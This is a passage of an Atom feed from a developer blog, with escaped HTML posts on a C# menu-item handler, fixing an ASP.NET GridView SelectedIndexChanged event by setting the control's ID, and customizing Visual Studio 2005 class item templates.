class=&#34;n&#34;&gt;toolsToolStripMenuItem_DropDownOpening&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;toolsToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DropDownItems&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Insert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;myToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content>
	</entry>
	<entry>
		<title>ASP.NET Gridview SelectIndexChanged event not firing</title>
		<id>https://blog.thoward37.me/articles/asp-net-gridview-selectindexchanged-event-not-firing</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/asp-net-gridview-selectindexchanged-event-not-firing" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/asp-net-gridview-selectindexchanged-event-not-firing" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/asp-net-gridview-selectindexchanged-event-not-firing" type="text/html"></link>
		<published>2007-11-15T15:50:00+00:00</published>
		<updated>2007-11-15T15:50:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;If, you find yourself in the unfortunate position of having a dynamically created &lt;code&gt;Gridview&lt;/code&gt; control in your ASP.NET page AND needing to handle the &lt;code&gt;SelectedIndexChanged&lt;/code&gt; event... as I was, you may find yourself banging your head against the monitor trying to understand why the event isn&#39;t getting fired.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, dear reader, that&#39;s because you didn&#39;t set the &lt;code&gt;Gridview.ID&lt;/code&gt; property, and when the callback for the event is fired, it does that by ID/parameters. The parameters are there, but the ID isn’t. So it can&#39;t find your control, therefore it can&#39;t fire the event.&lt;/p&gt;&#xA;&lt;p&gt;So, always assign the ID of dynamically generated ASP.NET controls!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;If, you find yourself in the unfortunate position of having a dynamically created &lt;code&gt;Gridview&lt;/code&gt; control in your ASP.NET page AND needing to handle the &lt;code&gt;SelectedIndexChanged&lt;/code&gt; event... as I was, you may find yourself banging your head against the monitor trying to understand why the event isn&#39;t getting fired.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, dear reader, that&#39;s because you didn&#39;t set the &lt;code&gt;Gridview.ID&lt;/code&gt; property, and when the callback for the event is fired, it does that by ID/parameters. The parameters are there, but the ID isn’t. So it can&#39;t find your control, therefore it can&#39;t fire the event.&lt;/p&gt;&#xA;&lt;p&gt;So, always assign the ID of dynamically generated ASP.NET controls!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Changing Visual Studio Item Templates</title>
		<id>https://blog.thoward37.me/articles/changing-visual-studio-item-templates</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/changing-visual-studio-item-templates" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/changing-visual-studio-item-templates" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/changing-visual-studio-item-templates" type="text/html"></link>
		<published>2007-10-11T21:05:00+00:00</published>
		<updated>2007-10-11T21:05:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;So, Visual Studio is pretty great right? It makes a lot of things really easy, really automated... saves a lot of typing, etc... However, there are still some areas where people find themselves repetatively doing the same thing in certain scenarios.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example — Making a new class.&lt;/p&gt;&#xA;&lt;p&gt;Now, usually one would just right-click on my project list, &lt;code&gt;Add...&lt;/code&gt;, &lt;code&gt;New Item&lt;/code&gt;, then you are presented with an array of the available &lt;code&gt;Item Templates&lt;/code&gt;. So, then you would select &lt;code&gt;Class&lt;/code&gt;, rename it and be presented with this result:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;MyNamespace&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Class1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first thing many will do, is perform a bunch of tweaks to make it formatted the way they like it. Perhaps change the class name, set it to &lt;code&gt;public&lt;/code&gt;, create an empty constructor, define code regions to keep things organized, etc... and end up with something like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;MyNamespace&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Class1&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Class1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// Initializes field values.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cs&#34;&gt;/// &amp;lt;/summary&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Constructors&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Fields&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Properties&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;     &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Public Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#region Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;cp&#34;&gt;#endregion Private Methods&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;WHOA! now I&#39;m not personally a fan of regions and think the &lt;code&gt;private Init()&lt;/code&gt; method used here is terrible... but I&#39;m not here to judge that. To each thier own. However, if there are things like this that you do for every class... Well, that takes quite a bit of typing. FOR EVERY CLASS YOU WRITE!!&lt;/p&gt;&#xA;&lt;p&gt;Visual Studio obviously has some template somewhere that controls it&#39;s default layout. Let&#39;s go figure out how those templates work.&lt;/p&gt;&#xA;&lt;h3 id=&#34;where-are-the-files-at&#34;&gt;Where are the files at?&lt;/h3&gt;&#xA;&lt;p&gt;The templates are stored in your Visual Studio installation directory. If you&#39;re like me, and running a fairly recent version of Visual Studio 2005, installed with default configuration, your install directory will probably be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 8\ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the templates are stored in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\ItemTemplates &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Under that directory you&#39;ll find subdirectories for each classification of template (CSharp, JSharp, VisualBasic, etc... ) and in each of those subdirectories, you&#39;ll find a zip file for each template.&lt;/p&gt;&#xA;&lt;p&gt;For what we want to fix, we are looking for this file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 8\Common7\IDE\ItemTemplates\CSharp\1033\Class.zip &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Sidenote: Notice that the last subdirectory in the path is the language code 1033 (English) and if you&#39;ve installed windows/vs with a different language, this will be different.. this is one reason you may not see your default templates when working across languages (ie, windows is in spanish, and visual studio is installed from the English language version, but is configured to be in Spanish; templates will be missing!!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the &lt;code&gt;Class.zip&lt;/code&gt; file, you will find two files; &lt;code&gt;Class.cs&lt;/code&gt; and &lt;code&gt;Class.vstemplate&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;classvstemplate&#34;&gt;Class.vstemplate&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;Class.vstemplate&lt;/code&gt; is just an XML file. This contains information about the template, such as what GUID to lookup for the icon to display in the wizard screen, what the sorting order is, what assemblies it references, etc.. For the most part, unless your doing something more complicated than what I want to do, you won&#39;t need to edit this. One tag to pay attention to is:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;ProjectItem&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;ReplaceParameters=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;Class.cs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nt&#34;&gt;&amp;lt;/ProjectItem&amp;gt;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This tag says that VS should make a new project item based on &lt;code&gt;Class.cs&lt;/code&gt;, and it should parse the file and replace the parameter tokens in it with the appropriate values... So let&#39;s look at &lt;code&gt;Class.cs&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;h3 id=&#34;classcs&#34;&gt;Class.cs&lt;/h3&gt;&#xA;&lt;p&gt;&lt;code&gt;Class.cs&lt;/code&gt; is the templated code file. The default file looks like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;rootnamespace&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;safeitemrootname&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;$&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So this is the normal new empty class, and the tokens &lt;code&gt;$rootnamespace$&lt;/code&gt; and &lt;code&gt;$safeitemrootname$&lt;/code&gt; are what will get replaced when VS parses the file and passes in the parameters. Well, I don&#39;t know anything about those parameters... So I&#39;m not going to mess with them. However, I did go make a list of the parameters I found in the default templates ( I could not find a list of these parameters on the net anywhere...)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$rootnamespace$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$safeitemrootname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$registeredorganization$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$year$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$guid1$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$ContentTags$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$MasterPage$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$fileinputname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$classname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$safeitemname$&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So I modified &lt;code&gt;Class.cs&lt;/code&gt; to be:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span 